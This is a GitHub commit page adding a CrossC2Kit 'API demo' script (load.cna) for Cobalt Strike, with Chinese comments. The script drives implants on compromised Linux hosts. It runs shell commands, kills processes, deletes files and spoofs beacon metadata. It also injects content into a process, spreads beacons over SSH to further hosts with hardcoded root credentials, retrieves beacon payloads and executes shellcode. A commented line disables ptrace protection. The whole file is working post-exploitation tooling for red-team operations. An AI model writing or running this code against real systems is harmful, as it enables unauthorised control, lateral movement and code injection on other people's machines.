Skip to content

Commit 2cd5a74

Browse files
committed
CrossC2Kit API demo
1 parent 3fd511e commit 2cd5a74

File tree

1 file changed

+86
-0
lines changed

1 file changed

+86
-0
lines changed

third-party/api_demo/load.cna

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
2+
println("---------- third party ----------------");
3+
4+
sub callback_ls{
5+
# $1 = beacon ID, $2 = the folder, $3 = results
6+
$bid = $1;
7+
$pwd = $2;
8+
$res = $3;
9+
10+
blog($bid, @($pwd, $res));
11+
}
12+
13+
sub callback_ps {
14+
$bid = $1;
15+
$res = $2;
16+
17+
blog($bid, @($res));
18+
}
19+
20+
foreach $beacon (beacons()) {
21+
if (!-isactive $beacon['id']) {
22+
} else if (-isssh $beacon['id']) {
23+
$bid = $beacon['id'];
24+
blog($bid, "auto api test demo"); # 记录日志
25+
26+
bshell($bid, "echo \$AAA"); # 命令执行
27+
bcc2_setenv($bid, "AAA", "ccc"); # 设置环境变量
28+
bshell($bid, "echo \$AAA");
29+
30+
bcc2_unsetenv($bid, "AAA"); # 删除环境变量
31+
bshell($bid, "echo \$AAA");
32+
33+
bsleep($bid, 2); # 设置休眠时间
34+
35+
btask($bid, "list dir"); # 记录执行任务
36+
bls($bid, "./", &callback_ls); # 获取执行目录下的文件列表信息, 支持回调
37+
38+
btask($bid, "list process");
39+
bps($bid, &callback_ps); # 获取进程信息, 支持回调
40+
41+
bpwd($bid); # <---------- teamserver ignore
42+
bmkdir($bid, "/tmp/1234"); # 创建目录
43+
bcd($bid, "/tmp/1234"); # 切换工作目录
44+
bpwd($bid); # 获取工作目录
45+
46+
bkill($bid, 123); # 结束指定PID进程
47+
brm($bid, "/tmp/1234/aaa"); # 删除文件 / 文件夹
48+
# brm($bid, "/tmp/1234/bbb");
49+
50+
bsetostype($bid, "printer"); # 修改 beacon 元数据中的操作系统类型
51+
bsetlocalip($bid, "10.0.0.1"); # 修改 beacon 元数据中的内网IP
52+
bsethostname($bid, "test_hostname"); # 修改 beacon 元数据中的主机名称
53+
54+
# bcc2_inject($bid, $pid, $fileData, $temp_file_workpath);
55+
# bshell($bid, "echo 0 > /proc/sys/kernel/yama/ptrace_scope");
56+
bcc2_inject($bid, 1234, "aaaa", "/tmp/1234/"); # 向指定PID进程注入指定内容
57+
58+
# bssh_jump($bid, $username, $password, $privatekey, $passtype, $listener, $targetArray, $workspace);
59+
bssh_jump($bid, "root", "123456", "", "ssh", "test_demo_cc2_listener", @("10.0.1.3", "10.0.1.4"), "/tmp/1234/"); # 向目标主机列表通过 SSH 协议,上线指定listener的beacon
60+
61+
$res = getSSHSession(); # 获取活跃状态的 CrossC2 会话
62+
blog($bid, $res);
63+
64+
$res = getCrossC2Site(); # 获取服务端 CrossC2 beacon的下载地址
65+
blog($bid, $res);
66+
67+
$res = getCrossC2Listener(); # 获取服务端配置的 CrossC2 监听器信息
68+
blog($bid, $res);
69+
70+
$libbeacon = getCrossC2Beacon("test_demo_cc2_listener", "lib"); # 从服务端指定 CrossC2 监听器中获取动态库类型 beacon
71+
$beacon = getCrossC2Beacon("test_demo_cc2_listener", "main"); # 从服务端指定 CrossC2 监听器中获取可执行文件类型 beacon
72+
$len_libbeacon = size($libbeacon);
73+
$len_beacon = size($beacon);
74+
blog($bid, "libbeacon size: $len_libbeacon");
75+
blog($bid, "beacon size: $len_beacon");
76+
77+
78+
bcc2_unsetenv($bid, "AAA")
79+
bshell($bid, "export");
80+
81+
82+
# run shellcode
83+
bshellcode($bid, "\\x90\\x90\\x90\\x90"); # 指定会话中执行 shellcode
84+
85+
}
86+
}

0 commit comments

Comments
 (0)